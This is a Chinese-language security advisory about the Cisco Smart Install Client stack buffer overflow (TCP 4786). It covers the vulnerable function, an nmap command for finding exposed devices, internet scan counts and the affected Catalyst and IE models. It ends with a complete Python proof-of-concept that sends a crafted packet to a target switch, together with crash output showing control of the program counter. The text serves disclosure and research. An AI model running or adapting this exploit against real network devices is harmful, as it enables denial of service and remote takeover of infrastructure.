导语:本文介绍了 Cisco Smart Install Client 栈缓冲区溢出漏洞的基本情况、如何检测以及受影响设备和范围,并提供了一个PoC。
一、简介
· 应用: Cisco IOS, Cisco IOS-XE
· 厂商: Cisco
· 漏洞: 栈缓冲区溢出[CWE-20], [CWE-121]
· 风险:严重;V:N/AC:L/Au:N/C:C/I:C/A:C (10.0)
Smart Install Client代码中发现了栈缓冲区溢出漏洞,此漏洞可使攻击者无需身份验证即可远程执行任意代码。因此它可以完全控制存在漏洞的网络设备。
Smart Install是即插即用的配置和镜像管理功能,为新型交换机提供零接触部署。它使初始配置过程自动化,并为新的网络交换机加载当前操作系统镜像。这意味着您可以将交换机运送到某个位置,将其置于网络中,并在没有管理员的情况下启动设备上而无需进行配置。该技术还可在配置发生变化时以及热插拔损坏的设备提供备份。
使用Smart Install的网络包括一组网络设备(称为客户端),由一个通用的3层交换机或充当director的路由器提供服务。
director为客户端交换机的镜像和配置提供单一管理点。客户端交换机与director有直接或间接的连接,以便他们可以从中接收镜像和配置下载。
有关智能安装技术的更多信息可在官方文档中找到。
该漏洞位于Smart Install Client的代码中。
需要注意的是,该技术要求默认情况下在客户端上启用。这一事实影响了漏洞的覆盖范围和影响,但更多的则在下面。
二、漏洞描述
SMI IBC Server Process进程包含Smart Install Client实施代码。Smart Install Client在TCP(4786)端口(默认打开)上启动服务器以与Smart Install Director进行交互。
当此服务器处理特制恶意消息ibd_init_discovery_msg时,会发生栈缓冲区溢出。
更确切地说,缓冲区溢出发生在函数smi_ibc_handle_ibd_init_discovery_msg,因为未检查复制到固定大小缓冲区的数据大小。大小和数据直接从网络数据包中获取并由攻击者控制。
三、GeekPWN 2017香港站
此漏洞在成功利用后得到了GeekPWN 2017香港G-Influence奖。
关于GeekPwn。作为网络安全研究人员的全球领先平台之一,GeekPwn让世界各地的安全研究人员和管理人员分享他们的想法和发现。自2014年起,GeekPwn在北京,上海,澳门,香港和硅谷成功举办了8场会议,并负责任的披露了数百个重要安全漏洞,并向参赛者颁发了数百万美元奖金。
根据比赛条款,有必要攻击Cisco Catalyst 2960 交换机并满足两个条件:
1.重置或更改enable密码进入特权执行模式:
2.拦截连接到交换机和Internet的其他设备之间的流量:
更多有关此漏洞利用技术和方法的详细信息可在我们的研究“How To Cook Cisco”中找到。
四、如何检查设备是否存在漏洞
如果思科网络设备开放TCP 4786端口,则存在漏洞。为了找到这样的设备,只需扫描网络。
nmap -p T:4786 192.168.1.0/24
要检查网络设备是否为Smart Install Client类型,请输入以下命令:
switch>show vstack config Role: Client (SmartInstall enabled) Vstack Director IP address: 0.0.0.0switch>show tcp brief allTCB Local Address Foreign Address (state)0344B794 *.4786 *.* LISTEN0350A018 *.443 *.* LISTEN03293634 *.443 *.* LISTEN03292D9C *.80 *.* LISTEN03292504 *.80 *.* LISTEN
五、互联网扫瞄结果
在发现漏洞后,我们认定它只能用于企业网络内的攻击。由于在安全配置的网络中,Smart Install技术参与者不应通过Internet访问。
但是互联网扫描表明这并不属实。
在对互联网进行短暂扫描期间,我们检测到250,000个存在漏洞的设备和8,500,000个存在漏洞端口的设备。
这种情况发生的可能原因是,在Smart Install客户端上默认打开端口TCP(4786),网络管理员没有注意到这一点。
六、受影响的硬件/软件
以下设备上存在该漏洞:Catalyst 4500 Supervisor Engines, Cisco Catalyst 3850 Series Switches, and Cisco Catalyst 2960 Series Switches.
· Cisco Catalyst 4500 Supervisor Engine 6L-E
o Cisco IOS 15.2.2E6 (Latest, Suggested)
§ cat4500e-entservicesk9-mz.152-2.E6.bin (23-DEC-2016)
· Cisco Catalyst 2960-48TT-L Switch
o Cisco IOS 12.2(55)SE11 (Suggested)
§ c2960-lanbasek9-mz.122-55.SE11.bin (18-AUG-2016)
o Cisco IOS 15.0.2-SE10a (Latest)
§ c2960-lanbasek9-mz.150-2.SE10a.bin (10-NOV-2016)
· Cisco Catalyst 3850-24P-E Switch
o Cisco IOS-XE 03.03.05.SE
§ cat3k_caa-universalk9.SPA.03.03.05.SE.150-1.EZ5.bin (03-NOV-2014)
而且,所有可能属于Smart Install客户端类型的设备都可能受到攻击。这是他们的列表:
· Catalyst 4500 Supervisor Engines
· Catalyst 3850 Series
· Catalyst 3750 Series
· Catalyst 3650 Series
· Catalyst 3560 Series
· Catalyst 2960 Series
· Catalyst 2975 Series
· IE 2000
· IE 3000
· IE 3010
· IE 4000
· IE 4010
· IE 5000
· SM-ES2 SKUs
· SM-ES3 SKUs
· NME-16ES-1G-P
· SM-X-ES3 SKUs
更多信息,请查看:
· Supported Devices for Smart Install
七、PoC
# smi_ibc_init_discovery_BoF.pyimport socket import struct from optparse import OptionParser # Parse the target options parser = OptionParser() parser.add_option("-t", "--target", dest="target", help="Smart Install Client", default="192.168.1.1") parser.add_option("-p", "--port", dest="port", type="int", help="Port of Client", default=4786) (options, args) = parser.parse_args() def craft_tlv(t, v, t_fmt='!I', l_fmt='!I'): return struct.pack(t_fmt, t) + struct.pack(l_fmt, len(v)) + v def send_packet(sock, packet): sock.send(packet) def receive(sock): return sock.recv() if __name__ == "__main__": print "[*] Connecting to Smart Install Client ", options.target, "port", options.port con = socket.socket(socket.AF_INET, socket.SOCK_STREAM) con.connect((options.target, options.port)) payload = 'BBBB' * 44 shellcode = 'D' * 2048 data = 'A' * 36 + struct.pack('!I', len(payload) + len(shellcode) + 40) + payload tlv_1 = craft_tlv(0x00000001, data) tlv_2 = shellcode hdr = '\x00\x00\x00\x01' # msg_from hdr += '\x00\x00\x00\x01' # version hdr += '\x00\x00\x00\x07' # msg_hdr_type hdr += struct.pack('>I', len(data)) # data_length pkt = hdr + tlv_1 + tlv_2 print "[*] Send a malicious packet" send_packet(con, pkt)
要攻击交换机,请运行以下命令:
host$ ./smi_ibc_init_discovery_BoF.py -t 192.168.1.1
交换机应打印崩溃信息并重新启动:
00:10:35 UTC Mon Mar 1 1993: Unexpected exception to CPUvector 1200, PC = 42424240-Traceback= 42424240Writing crashinfo to flash:/crashinfo_ext/crashinfo_ext_15=== Flushing messages (00:10:39 UTC Mon Mar 1 1993) === Buffered messages:...Queued messages:Cisco IOS Software, C2960 Software (C2960-LANBASEK9-M), Version 12.2(55)SE11, RELEASE SOFTWARE(fc3)Technical Support: http://www.cisco.com/techsupportCopyright (c) 1986-2016 by Cisco Systems, Inc.Compiled Wed 17-Aug-16 13:46 by prod_rel_teamInstruction TLB Miss Exception (0x1200)!SRR0 = 0x42424240 SRR1 = 0x00029230 SRR2 = 0x0152ACE4 SRR3 = 0x00029230ESR = 0x00000000 DEAR = 0x00000000 TSR = 0x84000000 DBSR = 0x00000000CPU Register Context:Vector = 0x00001200 PC = 0x42424240 MSR = 0x00029230 CR = 0x33000053LR = 0x42424242 CTR = 0x014D5268 XER = 0xC000006AR0 = 0x42424242 R1 = 0x02B1B0B0 R2 = 0x00000000 R3 = 0x032D12B4R4 = 0x000000B6 R5 = 0x0000001E R6 = 0xAA3BEC00 R7 = 0x00000014R8 = 0x0000001E R9 = 0x00000000 R10 = 0x001BA800 R11 = 0xFFFFFFFFR12 = 0x00000000 R13 = 0x00110000 R14 = 0x0131E1A8 R15 = 0x02B1B1A8R16 = 0x02B1B128 R17 = 0x00000000 R18 = 0x00000000 R19 = 0x02B1B128R20 = 0x02B1B128 R21 = 0x00000001 R22 = 0x02B1B128 R23 = 0x02B1B1A8R24 = 0x00000001 R25 = 0x00000000 R26 = 0x42424242 R27 = 0x42424242R28 = 0x42424242 R29 = 0x42424242 R30 = 0x42424242 R31 = 0x42424242Stack trace:PC = 0x42424240, SP = 0x02B1B0B0Frame 00: SP = 0x42424242 PC = 0x42424242